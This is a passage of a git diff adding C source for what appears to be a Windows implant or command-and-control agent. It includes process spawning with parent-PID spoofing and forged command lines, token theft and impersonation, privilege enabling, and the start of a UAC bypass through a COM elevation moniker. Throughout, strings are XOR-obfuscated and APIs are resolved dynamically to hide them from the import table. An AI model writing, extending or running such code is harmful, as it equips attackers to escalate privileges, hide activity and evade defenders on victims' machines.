+ _sgcna(hostname, &sz);
+ sz = sizeof(username);
+ GetUserNameA(username, &sz);
+
+ SYSTEM_INFO si;
+ _gns(&si);
+
+ MEMORYSTATUSEX mem;
+ memset(&mem, 0, sizeof(mem));
+ mem.dwLength = sizeof(mem);
+ _gmse(&mem);
+
+ snprintf(output_buf, output_size,
+ "Hostname : %s\n"
+ "Username : %s\n"
+ "OS Arch : %s\n"
+ "Processors: %lu\n"
+ "RAM Total : %llu MB\n"
+ "RAM Free : %llu MB\n",
+ hostname,
+ username,
+ si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ? "x64" : "x86",
+ si.dwNumberOfProcessors,
+ mem.ullTotalPhys / (1024*1024),
+ mem.ullAvailPhys / (1024*1024));
+ return 0;
+}
diff --git a/agent/src/commands/spawn.c b/agent/src/commands/spawn.c
new file mode 100644
index 0000000..4468329
--- /dev/null
+++ b/agent/src/commands/spawn.c
@@ -0,0 +1,260 @@
+#include "commands.h"
+#include "inject.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+
+#define PP_CMDLINE_OFF 0x70 /* RTL_USER_PROCESS_PARAMETERS.CommandLine (x64) */
+#define PEB_PARAMS_OFF 0x20 /* PEB.ProcessParameters (x64) */
+
+#ifndef NTSTATUS
+typedef LONG NTSTATUS;
+#endif
+
+/* Dynamic ResumeThread — removes from IAT */
+static DWORD _rt(HANDLE h)
+{
+ static DWORD (WINAPI *fn)(HANDLE) = NULL;
+ if (!fn) {
+ char fs[16], ks[16]; volatile unsigned char xk = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_ResumeThread); i++) fs[i] = (char)(EVS_fn_ResumeThread[i] ^ xk);
+ fs[sizeof(EVS_fn_ResumeThread)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++) ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
+ ks[sizeof(EVS_dll_kernel32)] = '\0';
+ HMODULE m = _peb_module(ks);
+ SecureZeroMemory(ks, sizeof(ks));
+ if (m) fn = (DWORD (WINAPI *)(HANDLE))GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn ? fn(h) : (DWORD)-1;
+}
+
+typedef NTSTATUS (WINAPI *NtQIP_t)(HANDLE, DWORD, PVOID, ULONG, PULONG);
+typedef NTSTATUS (NTAPI *NtRVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
+typedef NTSTATUS (NTAPI *NtWVM_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
+
+/* NtReadVirtualMemory — removes ReadProcessMemory from IAT */
+static NtRVM_t _get_nrvm(void) {
+ static NtRVM_t fn = NULL;
+ if (!fn) {
+ char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_NtReadVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtReadVirtualMemory[i] ^ k);
+ fs[sizeof(EVS_fn_NtReadVirtualMemory)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
+ ns[sizeof(EVS_dll_ntdll)] = '\0';
+ HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
+ if (m) fn = (NtRVM_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn;
+}
+
+/* NtWriteVirtualMemory — removes WriteProcessMemory from IAT */
+static NtWVM_t _get_nwvm(void) {
+ static NtWVM_t fn = NULL;
+ if (!fn) {
+ char fs[24], ns[12]; volatile unsigned char k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_NtWriteVirtualMemory); i++) fs[i] = (char)(EVS_fn_NtWriteVirtualMemory[i] ^ k);
+ fs[sizeof(EVS_fn_NtWriteVirtualMemory)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_ntdll); i++) ns[i] = (char)(EVS_dll_ntdll[i] ^ k);
+ ns[sizeof(EVS_dll_ntdll)] = '\0';
+ HMODULE m = _peb_module(ns); SecureZeroMemory(ns, sizeof(ns));
+ if (m) fn = (NtWVM_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ return fn;
+}
+
+/* Minimal PROCESS_BASIC_INFORMATION */
+typedef struct {
+ LONG_PTR ExitStatus;
+ PVOID PebBaseAddress;
+ ULONG_PTR AffinityMask;
+ LONG_PTR BasePriority;
+ ULONG_PTR UniqueProcessId;
+ ULONG_PTR InheritedFromUniqueProcessId;
+} PBI;
+
+static DWORD _find_explorer(void)
+{
+ char _en[13]; volatile unsigned char _k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_str_explorer_exe); i++) _en[i] = (char)(EVS_str_explorer_exe[i] ^ _k);
+ _en[sizeof(EVS_str_explorer_exe)] = '\0';
+
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) { SecureZeroMemory(_en, sizeof(_en)); return 0; }
+ PROCESSENTRY32 pe = {sizeof(pe)};
+ DWORD pid = 0;
+ if (Process32First(snap, &pe)) do {
+ if (_stricmp(pe.szExeFile, _en) == 0)
+ { pid = pe.th32ProcessID; break; }
+ } while (Process32Next(snap, &pe));
+ CloseHandle(snap);
+ SecureZeroMemory(_en, sizeof(_en));
+ return pid;
+}
+
+int cmd_spawn(const char *exe_path, const char *fake_cmdline,
+ const char *real_cmdline,
+ char *output_buf, size_t output_size)
+{
+ if (!exe_path || !exe_path[0] || !fake_cmdline || !fake_cmdline[0]) {
+ snprintf(output_buf, output_size,
+ "[spawn] usage: spawn [real_args]\n");
+ return -1;
+ }
+
+ /* build fake cmdline: pad so real cmdline fits in the same buffer */
+ char fake_full[2048];
+ snprintf(fake_full, sizeof(fake_full), "%s %s", exe_path, fake_cmdline);
+
+ size_t real_len = real_cmdline ? strlen(real_cmdline) : 0;
+ size_t fake_len = strlen(fake_full);
+ if (real_len > fake_len) {
+ /* pad with spaces */
+ size_t needed = real_len - fake_len;
+ if (needed < sizeof(fake_full) - fake_len - 1) {
+ for (size_t i = 0; i < needed; i++)
+ fake_full[fake_len + i] = ' ';
+ fake_full[fake_len + needed] = '\0';
+ }
+ }
+
+ /* PPID spoofing: use explorer.exe as parent */
+ DWORD ppid = _find_explorer();
+
+ STARTUPINFOEXA si;
+ memset(&si, 0, sizeof(si));
+ si.StartupInfo.cb = sizeof(si);
+ si.StartupInfo.dwFlags = STARTF_USESHOWWINDOW;
+ si.StartupInfo.wShowWindow = SW_HIDE;
+
+ SIZE_T attr_sz = 0;
+ LPPROC_THREAD_ATTRIBUTE_LIST attr_list = NULL;
+
+ if (ppid) {
+ InitializeProcThreadAttributeList(NULL, 1, 0, &attr_sz);
+ attr_list = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(attr_sz);
+ if (attr_list) {
+ InitializeProcThreadAttributeList(attr_list, 1, 0, &attr_sz);
+ HANDLE hParent = inject_nt_open_process(ppid, PROCESS_CREATE_PROCESS);
+ if (hParent) {
+ UpdateProcThreadAttribute(attr_list, 0,
+ PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
+ &hParent, sizeof(hParent), NULL, NULL);
+ /* hParent closed after CreateProcess */
+ }
+ si.lpAttributeList = attr_list;
+ }
+ }
+
+ PROCESS_INFORMATION pi = {0};
+ BOOL ok = CreateProcessA(
+ exe_path,
+ fake_full,
+ NULL, NULL, FALSE,
+ CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
+ NULL, NULL,
+ &si.StartupInfo, &pi);
+
+ if (attr_list) {
+ DeleteProcThreadAttributeList(attr_list);
+ free(attr_list);
+ }
+
+ if (!ok) {
+ snprintf(output_buf, output_size,
+ "[spawn] CreateProcess failed: %lu\n", GetLastError());
+ return -1;
+ }
+
+ /* if no real cmdline, just resume and return */
+ if (!real_cmdline || !real_cmdline[0]) {
+ _rt(pi.hThread);
+ CloseHandle(pi.hThread);
+ CloseHandle(pi.hProcess);
+ snprintf(output_buf, output_size,
+ "[spawn] pid=%lu fake_cmdline=%s\n",
+ (unsigned long)pi.dwProcessId, fake_full);
+ return 0;
+ }
+
+ /* find CommandLine.Buffer in target PEB */
+ char _sqn[28], _sn[12]; volatile unsigned char _xk = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_fn_NtQueryInformationProcess); _i++) _sqn[_i] = (char)(EVS_fn_NtQueryInformationProcess[_i] ^ _xk);
+ _sqn[sizeof(EVS_fn_NtQueryInformationProcess)] = '\0';
+ for (int _i = 0; _i < (int)sizeof(EVS_dll_ntdll); _i++) _sn[_i] = (char)(EVS_dll_ntdll[_i] ^ _xk);
+ _sn[sizeof(EVS_dll_ntdll)] = '\0';
+ NtQIP_t pfnQIP = (NtQIP_t)(void *)GetProcAddress(_peb_module(_sn), _sqn);
+ SecureZeroMemory(_sqn, sizeof(_sqn)); SecureZeroMemory(_sn, sizeof(_sn));
+
+ if (!pfnQIP) goto resume;
+
+ PBI pbi = {0};
+ NTSTATUS st = pfnQIP(pi.hProcess, 0 /* ProcessBasicInformation */,
+ &pbi, sizeof(pbi), NULL);
+ if (st) goto resume;
+
+ /* read ProcessParameters pointer from PEB */
+ PVOID params_ptr = NULL;
+ { NtRVM_t _r = _get_nrvm();
+ if (!_r || _r(pi.hProcess, (BYTE *)pbi.PebBaseAddress + PEB_PARAMS_OFF,
+ ¶ms_ptr, sizeof(PVOID), NULL) || !params_ptr)
+ goto resume; }
+
+ /* read CommandLine UNICODE_STRING fields */
+ USHORT cl_len = 0, cl_maxlen = 0;
+ PWSTR cl_buf = NULL;
+ { NtRVM_t _r = _get_nrvm();
+ if (_r) {
+ _r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
+ &cl_len, sizeof(USHORT), NULL);
+ _r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 2,
+ &cl_maxlen, sizeof(USHORT), NULL);
+ _r(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF + 8,
+ &cl_buf, sizeof(PWSTR), NULL);
+ }
+ }
+
+ if (!cl_buf || cl_maxlen == 0) goto resume;
+
+ /* convert real cmdline to UTF-16 */
+ WCHAR real_wide[2048] = {0};
+ int real_wchars = MultiByteToWideChar(CP_ACP, 0, real_cmdline, -1,
+ real_wide, 2048);
+ if (real_wchars <= 0) goto resume;
+
+ USHORT real_bytes = (USHORT)((real_wchars - 1) * 2);
+
+ if (real_bytes > cl_maxlen) {
+ /* Real too long — skip overwrite, just resume with fake */
+ goto resume;
+ }
+
+ /* Overwrite the CommandLine buffer in target */
+ { NtWVM_t _w = _get_nwvm();
+ if (_w) {
+ _w(pi.hProcess, cl_buf, real_wide, real_bytes + 2, NULL);
+ _w(pi.hProcess, (BYTE *)params_ptr + PP_CMDLINE_OFF,
+ &real_bytes, sizeof(USHORT), NULL);
+ }
+ }
+
+resume:
+ _rt(pi.hThread);
+ CloseHandle(pi.hThread);
+ CloseHandle(pi.hProcess);
+
+ snprintf(output_buf, output_size,
+ "[spawn] pid=%lu\n"
+ " visible: %s\n"
+ " actual: %s\n",
+ (unsigned long)pi.dwProcessId,
+ fake_full,
+ real_cmdline ? real_cmdline : "(same as visible)");
+ return 0;
+}
diff --git a/agent/src/commands/token.c b/agent/src/commands/token.c
new file mode 100644
index 0000000..469b98a
--- /dev/null
+++ b/agent/src/commands/token.c
@@ -0,0 +1,299 @@
+#include "commands.h"
+#include "inject.h"
+#include "adv_lazy.h"
+#include
+#include
+#include
+#include
+
+/* one active impersonation token at a time */
+static volatile HANDLE s_imp_token = NULL;
+
+static void _token_info(HANDLE htok, char *out, size_t outsz)
+{
+ /* get username */
+ DWORD needed = 0;
+ GetTokenInformation(htok, TokenUser, NULL, 0, &needed);
+ TOKEN_USER *tu = needed ? (TOKEN_USER *)malloc(needed) : NULL;
+ char uname[256] = "?", domain[256] = "?";
+ if (tu && GetTokenInformation(htok, TokenUser, tu, needed, &needed)) {
+ DWORD nlen = 256, dlen = 256;
+ SID_NAME_USE use;
+ LookupAccountSidA(NULL, tu->User.Sid, uname, &nlen, domain, &dlen, &use);
+ }
+ free(tu);
+
+ /* get integrity level */
+ needed = 0;
+ GetTokenInformation(htok, TokenIntegrityLevel, NULL, 0, &needed);
+ TOKEN_MANDATORY_LABEL *tml = needed ? (TOKEN_MANDATORY_LABEL *)malloc(needed) : NULL;
+ const char *integ = "?";
+ if (tml && GetTokenInformation(htok, TokenIntegrityLevel, tml, needed, &needed)) {
+ DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
+ (DWORD)(*GetSidSubAuthorityCount(tml->Label.Sid) - 1));
+ if (rid >= SECURITY_MANDATORY_SYSTEM_RID) integ = "SYSTEM";
+ else if (rid >= SECURITY_MANDATORY_HIGH_RID) integ = "HIGH";
+ else if (rid >= SECURITY_MANDATORY_MEDIUM_RID) integ = "MEDIUM";
+ else if (rid >= SECURITY_MANDATORY_LOW_RID) integ = "LOW";
+ else integ = "UNTRUSTED";
+ }
+ free(tml);
+
+ /* check impersonation type */
+ TOKEN_TYPE ttype = TokenPrimary;
+ DWORD ttsz = sizeof(ttype);
+ GetTokenInformation(htok, TokenType, &ttype, ttsz, &ttsz);
+ const char *imp = "";
+ if (ttype == TokenImpersonation) {
+ SECURITY_IMPERSONATION_LEVEL lvl = SecurityAnonymous;
+ DWORD lsz = sizeof(lvl);
+ GetTokenInformation(htok, TokenImpersonationLevel, &lvl, lsz, &lsz);
+ imp = (lvl == SecurityDelegation) ? " [delegation]"
+ : (lvl == SecurityImpersonation) ? " [impersonation]"
+ : " [anonymous/identify]";
+ }
+
+ snprintf(out, outsz, "%s\\%s [%s]%s\n", domain, uname, integ, imp);
+}
+
+int cmd_getuid(char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 64) return -1;
+ output_buf[0] = '\0';
+
+ /* try thread token first, fall back to process token */
+ HANDLE htok = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->OpenThreadToken || !_a->OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, TRUE, &htok) || !htok)
+ if (_a->OpenProcessToken) _a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok); }
+
+ if (!htok) {
+ snprintf(output_buf, output_size,
+ "[getuid] OpenToken failed: %lu\n", GetLastError());
+ return -1;
+ }
+ _token_info(htok, output_buf, output_size);
+ CloseHandle(htok);
+ return 0;
+}
+
+int cmd_steal_token(unsigned long pid, char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 64) return -1;
+ output_buf[0] = '\0';
+
+ HANDLE hproc = inject_nt_open_process((DWORD)pid, PROCESS_QUERY_INFORMATION);
+ if (!hproc) {
+ snprintf(output_buf, output_size,
+ "[st] open(%lu) failed\n", pid);
+ return -1;
+ }
+
+ HANDLE hptok = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->OpenProcessToken || !_a->OpenProcessToken(hproc,
+ TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY,
+ &hptok)) {
+ CloseHandle(hproc);
+ snprintf(output_buf, output_size,
+ "[st] OpenProcessToken failed: %lu\n", GetLastError());
+ return -1;
+ } }
+ CloseHandle(hproc);
+
+ HANDLE hdup = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->DuplicateTokenEx || !_a->DuplicateTokenEx(hptok, TOKEN_ALL_ACCESS, NULL,
+ SecurityImpersonation, TokenImpersonation, &hdup)) {
+ CloseHandle(hptok);
+ snprintf(output_buf, output_size,
+ "[st] DuplicateTokenEx failed: %lu\n", GetLastError());
+ return -1;
+ } }
+ CloseHandle(hptok);
+
+ { const adv_api_t *_a = adv_get();
+ if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(hdup)) {
+ CloseHandle(hdup);
+ snprintf(output_buf, output_size,
+ "[st] ImpersonateLoggedOnUser failed: %lu\n",
+ GetLastError());
+ return -1;
+ } }
+
+ /* Atomically swap stored token, close old one if any */
+ HANDLE old = (HANDLE)InterlockedExchangePointer(
+ (volatile PVOID *)&s_imp_token, hdup);
+ if (old) CloseHandle(old);
+
+ char info[256] = {0};
+ _token_info(hdup, info, sizeof(info));
+ snprintf(output_buf, output_size,
+ "[st] pid=%lu -> %s", pid, info);
+ return 0;
+}
+
+int cmd_rev2self(char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 64) return -1;
+ output_buf[0] = '\0';
+
+ { const adv_api_t *_a = adv_get(); if (_a->RevertToSelf) _a->RevertToSelf(); }
+ HANDLE old = (HANDLE)InterlockedExchangePointer(
+ (volatile PVOID *)&s_imp_token, NULL);
+ if (old) CloseHandle(old);
+
+ snprintf(output_buf, output_size, "[r2s] reverted\n");
+ return 0;
+}
+
+int cmd_make_token(const char *domain_user, const char *password,
+ char *output_buf, size_t output_size)
+{
+ if (!output_buf || output_size < 64) return -1;
+ output_buf[0] = '\0';
+
+ /* Split "DOMAIN\user" → domain + user; bare "user" defaults domain to "." */
+ char domain[256] = ".";
+ char user[256] = {0};
+ const char *bs = strchr(domain_user, '\\');
+ if (bs) {
+ size_t dlen = (size_t)(bs - domain_user);
+ if (dlen >= sizeof(domain)) dlen = sizeof(domain) - 1;
+ memcpy(domain, domain_user, dlen);
+ domain[dlen] = '\0';
+ strncpy(user, bs + 1, sizeof(user) - 1);
+ } else {
+ strncpy(user, domain_user, sizeof(user) - 1);
+ }
+
+ HANDLE htok = NULL;
+ /*
+ * LOGON32_LOGON_NEW_CREDENTIALS: local identity stays current user;
+ * network auth uses provided creds. Equivalent to runas /netonly.
+ * Does not require SeDebugPrivilege.
+ */
+ { const adv_api_t *_a = adv_get();
+ if (!_a->LogonUserA || !_a->LogonUserA(user, domain, password,
+ LOGON32_LOGON_NEW_CREDENTIALS,
+ LOGON32_PROVIDER_WINNT50,
+ &htok)) {
+ snprintf(output_buf, output_size,
+ "[mt] LogonUser failed: %lu\n", GetLastError());
+ return -1;
+ } }
+
+ { const adv_api_t *_a = adv_get();
+ if (!_a->ImpersonateLoggedOnUser || !_a->ImpersonateLoggedOnUser(htok)) {
+ CloseHandle(htok);
+ snprintf(output_buf, output_size,
+ "[mt] ImpersonateLoggedOnUser failed: %lu\n",
+ GetLastError());
+ return -1;
+ } }
+
+ HANDLE old = (HANDLE)InterlockedExchangePointer(
+ (volatile PVOID *)&s_imp_token, htok);
+ if (old) CloseHandle(old);
+
+ snprintf(output_buf, output_size,
+ "[mt] %s\\%s (network creds set)\n", domain, user);
+ return 0;
+}
+
+/* ---- cmd_privs ---- */
+
+int cmd_privs(const char *action, const char *priv_name,
+ char *output_buf, size_t output_size)
+{
+ const adv_api_t *adv = adv_get();
+ HANDLE hTok;
+ if (!adv->OpenProcessToken ||
+ !adv->OpenProcessToken(GetCurrentProcess(),
+ TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hTok)) {
+ snprintf(output_buf, output_size,
+ "[privs] OpenProcessToken failed: %lu\n", GetLastError());
+ return -1;
+ }
+
+ /* Default action = list */
+ if (!action || !action[0] || strcmp(action, "list") == 0) {
+ DWORD needed = 0;
+ GetTokenInformation(hTok, TokenPrivileges, NULL, 0, &needed);
+ TOKEN_PRIVILEGES *tp = (TOKEN_PRIVILEGES *)malloc(needed);
+ if (!tp) { CloseHandle(hTok); return -1; }
+ GetTokenInformation(hTok, TokenPrivileges, tp, needed, &needed);
+
+ size_t pos = 0;
+ int n = snprintf(output_buf + pos, output_size - pos,
+ "%-48s %s\n", "Privilege", "State");
+ if (n > 0) pos += (size_t)n;
+
+ for (DWORD i = 0; i < tp->PrivilegeCount; i++) {
+ char name[64] = {0};
+ DWORD nsz = sizeof(name);
+ if (adv->LookupPrivilegeNameA)
+ adv->LookupPrivilegeNameA(NULL, &tp->Privileges[i].Luid, name, &nsz);
+
+ DWORD attr = tp->Privileges[i].Attributes;
+ const char *state =
+ (attr & SE_PRIVILEGE_ENABLED) ? "Enabled" :
+ (attr & SE_PRIVILEGE_ENABLED_BY_DEFAULT) ? "Default" :
+ "Disabled";
+
+ n = snprintf(output_buf + pos, output_size - pos,
+ " %-46s %s\n", name, state);
+ if (n > 0 && (size_t)n < output_size - pos) pos += (size_t)n;
+ }
+ free(tp);
+ CloseHandle(hTok);
+ return 0;
+ }
+
+ if (strcmp(action, "enable") == 0 || strcmp(action, "disable") == 0) {
+ if (!priv_name || !priv_name[0]) {
+ snprintf(output_buf, output_size,
+ "[privs] usage: privs enable|disable \n");
+ CloseHandle(hTok);
+ return -1;
+ }
+ LUID luid;
+ if (!adv->LookupPrivilegeValueA ||
+ !adv->LookupPrivilegeValueA(NULL, priv_name, &luid)) {
+ snprintf(output_buf, output_size,
+ "[privs] unknown privilege: %s\n", priv_name);
+ CloseHandle(hTok);
+ return -1;
+ }
+ TOKEN_PRIVILEGES tp;
+ tp.PrivilegeCount = 1;
+ tp.Privileges[0].Luid = luid;
+ tp.Privileges[0].Attributes =
+ (strcmp(action, "enable") == 0) ? SE_PRIVILEGE_ENABLED : 0;
+
+ if (adv->AdjustTokenPrivileges)
+ adv->AdjustTokenPrivileges(hTok, FALSE, &tp, 0, NULL, NULL);
+ DWORD err = GetLastError();
+ CloseHandle(hTok);
+
+ if (err == ERROR_SUCCESS) {
+ snprintf(output_buf, output_size,
+ "[privs] %s: %s\n", action, priv_name);
+ return 0;
+ }
+ if (err == ERROR_NOT_ALL_ASSIGNED) {
+ snprintf(output_buf, output_size,
+ "[privs] %s: %s (not held by token - steal SYSTEM token first)\n",
+ action, priv_name);
+ return -1;
+ }
+ snprintf(output_buf, output_size,
+ "[privs] failed: %lu\n", err);
+ return -1;
+ }
+
+ CloseHandle(hTok);
+ snprintf(output_buf, output_size,
+ "[privs] usage: privs [list | enable | disable ]\n");
+ return -1;
+}
diff --git a/agent/src/commands/uac.c b/agent/src/commands/uac.c
new file mode 100644
index 0000000..831ca7a
--- /dev/null
+++ b/agent/src/commands/uac.c
@@ -0,0 +1,849 @@
+#include "commands.h"
+#include "beacon.h"
+#include "evasion.h"
+#include "adv_lazy.h"
+#include "evs_strings.h"
+#include "peb_walk.h"
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+#define IL_UNTRUSTED 0
+#define IL_LOW 1
+#define IL_MEDIUM 2
+#define IL_HIGH 3
+#define IL_SYSTEM 4
+
+static int get_integrity_level(void)
+{
+ HANDLE hTok = NULL;
+ { const adv_api_t *_a = adv_get();
+ if (!_a->OpenProcessToken || !_a->OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hTok)) return -1; }
+
+ DWORD sz = 0;
+ GetTokenInformation(hTok, TokenIntegrityLevel, NULL, 0, &sz);
+ TOKEN_MANDATORY_LABEL *tml = (TOKEN_MANDATORY_LABEL *)malloc(sz);
+ if (!tml) { CloseHandle(hTok); return -1; }
+
+ int il = -1;
+ if (GetTokenInformation(hTok, TokenIntegrityLevel, tml, sz, &sz)) {
+ DWORD rid = *GetSidSubAuthority(tml->Label.Sid,
+ *GetSidSubAuthorityCount(tml->Label.Sid) - 1);
+ if (rid < 0x1000) il = IL_UNTRUSTED;
+ else if (rid < 0x2000) il = IL_LOW;
+ else if (rid < 0x3000) il = IL_MEDIUM;
+ else if (rid < 0x4000) il = IL_HIGH;
+ else il = IL_SYSTEM;
+ }
+ free(tml);
+ CloseHandle(hTok);
+ return il;
+}
+
+static int is_admin_group(void)
+{
+ BOOL admin = FALSE;
+ SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY;
+ PSID admin_sid = NULL;
+ if (AllocateAndInitializeSid(&nt, 2,
+ SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS,
+ 0,0,0,0,0,0, &admin_sid)) {
+ CheckTokenMembership(NULL, admin_sid, &admin);
+ FreeSid(admin_sid);
+ }
+ return (int)admin;
+}
+
+static WCHAR *to_wide(const char *s)
+{
+ int n = MultiByteToWideChar(CP_UTF8, 0, s, -1, NULL, 0);
+ if (n <= 0) return NULL;
+ WCHAR *w = (WCHAR *)malloc((size_t)n * sizeof(WCHAR));
+ if (w) MultiByteToWideChar(CP_UTF8, 0, s, -1, w, n);
+ return w;
+}
+
+static void split_cmdline(const char *cmdline, char *exe_buf, size_t exe_sz,
+ char *args_buf, size_t args_sz)
+{
+ exe_buf[0] = args_buf[0] = '\0';
+ if (!cmdline || !*cmdline) return;
+
+ if (cmdline[0] == '"') {
+ const char *end = strchr(cmdline + 1, '"');
+ if (end) {
+ size_t n = (size_t)(end - cmdline - 1);
+ if (n >= exe_sz) n = exe_sz - 1;
+ memcpy(exe_buf, cmdline + 1, n);
+ exe_buf[n] = '\0';
+ const char *rest = end + 1;
+ while (*rest == ' ') rest++;
+ strncpy(args_buf, rest, args_sz - 1);
+ args_buf[args_sz - 1] = '\0';
+ return;
+ }
+ }
+ const char *sp = strchr(cmdline, ' ');
+ if (!sp) {
+ strncpy(exe_buf, cmdline, exe_sz - 1);
+ exe_buf[exe_sz - 1] = '\0';
+ } else {
+ size_t n = (size_t)(sp - cmdline);
+ if (n >= exe_sz) n = exe_sz - 1;
+ memcpy(exe_buf, cmdline, n);
+ exe_buf[n] = '\0';
+ const char *rest = sp + 1;
+ while (*rest == ' ') rest++;
+ strncpy(args_buf, rest, args_sz - 1);
+ args_buf[args_sz - 1] = '\0';
+ }
+}
+
+static const IID _iid_ICMLuaUtil =
+ {0x6EDD6D74, 0xC007, 0x4E75, {0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}};
+
+typedef HRESULT (STDMETHODCALLTYPE *ICMLuaUtil_ShellExec_t)(
+ void *pThis,
+ LPCWSTR pwszFile,
+ LPCWSTR pwszParameters,
+ LPCWSTR pwszDirectory,
+ ULONG nShowCmd,
+ ULONG dwFlags
+);
+
+static int bypass_com(const char *cmdline, char *out, size_t outsz)
+{
+ if (!cmdline || !*cmdline)
+ return snprintf(out, outsz, "e:0\n"), -1;
+
+ WCHAR *exe_w = to_wide(cmdline);
+ WCHAR *args_w = NULL;
+ if (!exe_w) return snprintf(out, outsz, "e:w\n"), -1;
+
+ HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
+ BOOL com_init = SUCCEEDED(hr) || hr == RPC_E_CHANGED_MODE;
+
+ WCHAR moniker[80];
+ { volatile unsigned char _k = EVS_KEY;
+ for (int _i = 0; _i < (int)sizeof(EVS_str_elevation_moniker); _i++)
+ moniker[_i] = (WCHAR)(EVS_str_elevation_moniker[_i] ^ _k);
+ moniker[sizeof(EVS_str_elevation_moniker)] = L'\0'; }
+
+ BIND_OPTS3 bo;
+ memset(&bo, 0, sizeof(bo));
+ bo.cbStruct = sizeof(BIND_OPTS3);
+ bo.dwClassContext = CLSCTX_LOCAL_SERVER;
+
+ void *pObj = NULL;
+ hr = CoGetObject(moniker, (BIND_OPTS *)&bo, &_iid_ICMLuaUtil, &pObj);
+ if (FAILED(hr) || !pObj) {
+ free(exe_w); free(args_w);
+ if (com_init) CoUninitialize();
+ return snprintf(out, outsz, "e:cg %08lx\n", hr), -1;
+ }
+
+ ICMLuaUtil_ShellExec_t fn_ShellExec =
+ (ICMLuaUtil_ShellExec_t)(*(void***)pObj)[9];
+
+ hr = fn_ShellExec(pObj, exe_w, L"", NULL, 1 /*SW_SHOWNORMAL*/, 0);
+
+ ((IUnknown *)pObj)->lpVtbl->Release((IUnknown *)pObj);
+ free(exe_w);
+ if (com_init) CoUninitialize();
+
+ if (FAILED(hr))
+ return snprintf(out, outsz, "e:se %08lx\n", hr), -1;
+
+ return snprintf(out, outsz, "ok\n");
+}
+
+static int count_proc(const char *exename)
+{
+ DWORD self = GetCurrentProcessId();
+ int n = 0;
+ HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+ if (snap == INVALID_HANDLE_VALUE) return 0;
+ PROCESSENTRY32 pe = { sizeof(pe) };
+ if (Process32First(snap, &pe)) {
+ do {
+ if (_stricmp(pe.szExeFile, exename) == 0 && pe.th32ProcessID != self)
+ n++;
+ } while (Process32Next(snap, &pe));
+ }
+ CloseHandle(snap);
+ return n;
+}
+
+static int reg_set_sz(HKEY root, const char *subkey, const char *valname, const char *data)
+{
+ HKEY hk;
+ if (RegCreateKeyExA(root, subkey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hk, NULL)
+ != ERROR_SUCCESS) return -1;
+ int rc = RegSetValueExA(hk, valname, 0, REG_SZ,
+ (const BYTE *)data, (DWORD)(strlen(data) + 1));
+ RegCloseKey(hk);
+ return rc == ERROR_SUCCESS ? 0 : -1;
+}
+
+static void reg_del_tree(HKEY root, const char *subkey)
+{
+ typedef LONG (WINAPI *RegDelTree_t)(HKEY, LPCSTR);
+ static RegDelTree_t fn = NULL;
+ if (!fn) {
+ char fs[16], ms[14]; volatile unsigned char _k = EVS_KEY;
+ for (int i = 0; i < (int)sizeof(EVS_fn_RegDeleteTreeA); i++) fs[i] = (char)(EVS_fn_RegDeleteTreeA[i] ^ _k);
+ fs[sizeof(EVS_fn_RegDeleteTreeA)] = '\0';
+ for (int i = 0; i < (int)sizeof(EVS_dll_advapi32); i++) ms[i] = (char)(EVS_dll_advapi32[i] ^ _k);
+ ms[sizeof(EVS_dll_advapi32)] = '\0';
+ HMODULE m = _peb_module(ms);
+ SecureZeroMemory(ms, sizeof(ms));
+ if (m) fn = (RegDelTree_t)(void *)GetProcAddress(m, fs);
+ SecureZeroMemory(fs, sizeof(fs));
+ }
+ if (fn) fn(root, subkey);
+}
+
